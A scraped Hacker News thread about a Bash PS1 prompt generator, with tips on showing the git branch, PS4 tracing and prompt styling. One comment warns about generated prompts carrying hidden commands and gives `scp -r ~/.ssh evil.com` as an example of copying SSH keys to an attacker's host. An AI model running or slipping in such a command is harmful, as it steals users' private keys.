Live data from Hacker News

Bash PS1 Generator

bashrcgenerator.com

101–110 of 146 posts

Re: Bash PS1 Generator

#101
snippet in my PS1 to get the current git branch:

  $(git branch | grep ^* | colrm 1 2)
You could use

  $(git branch --show-current)
but if the head is detached it won't show anything

Re: Bash PS1 Generator

#102

Earlier quoted context omitted.

why?

If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.

It's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.

Re: Bash PS1 Generator

#103
post #52

Earlier quoted context omitted.

You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.

I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.

I think that might be `git symbolic-ref` which doesn't work in detached HEAD state (e.g. when checking out a commit) whereas `git rev-parse --abbrev-ref` will print "HEAD". On the other hand, `git name-rev` will try to find the nearest named ref (including tags) and how far HEAD is from that named ref (e.g. master~1).

Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory.

To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two.

Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).

Re: Bash PS1 Generator

#104
post #32
post #8

Earlier quoted context omitted.

It's too bloated. It has all kinds of built-in stuff with ugly defaults instead of just providing a framework with plugins.

Starship is the only prompt I've used that has (a) sane defaults, (b) cross platform support as well as ease of installation, and (c) good enough speed. Powerline is much slower, and I lose my serenity everytime I have to fiddle with dotfiles.

I just got

~/bin via v1.8.0 via v2.7.16 on (us-east-2) [1]

even on non-project folders and have no idea why that is being listed.

[1] emojis got lost in hn, but it was a coffee cup, a snake and a cloud..

Re: Bash PS1 Generator

#105
post #45

Somewhat related to PS1 is PS4 in bash. Make your trace output more useful/verbose in your scripts: set -x export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}: ' This will print the filename, function name, line number, and line content during execution.

In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.

If you have 10k LoC Bash scripts, then you’ve got bigger problems!

Re: Bash PS1 Generator

#107
post #98
post #97

Earlier quoted context omitted.

Absolutely a quality of life tool. Very few excuses left to put up with zsh + Oh-My-Zash.

I mean, the other alternative is just keep your prompt simple. ;-)

This. The one time a month when I can't remember which git branch I'm on I'll just run 'git branch'. If you're feeling frisky, you could even alias that to 'gb'.

Re: Bash PS1 Generator

#109

Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the…

[deleted]

Re: Bash PS1 Generator

#110

Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the…

Maybe >(Unicode 0xFF1/>) would be a good substitute?

Side by side: >>

Post reply on HN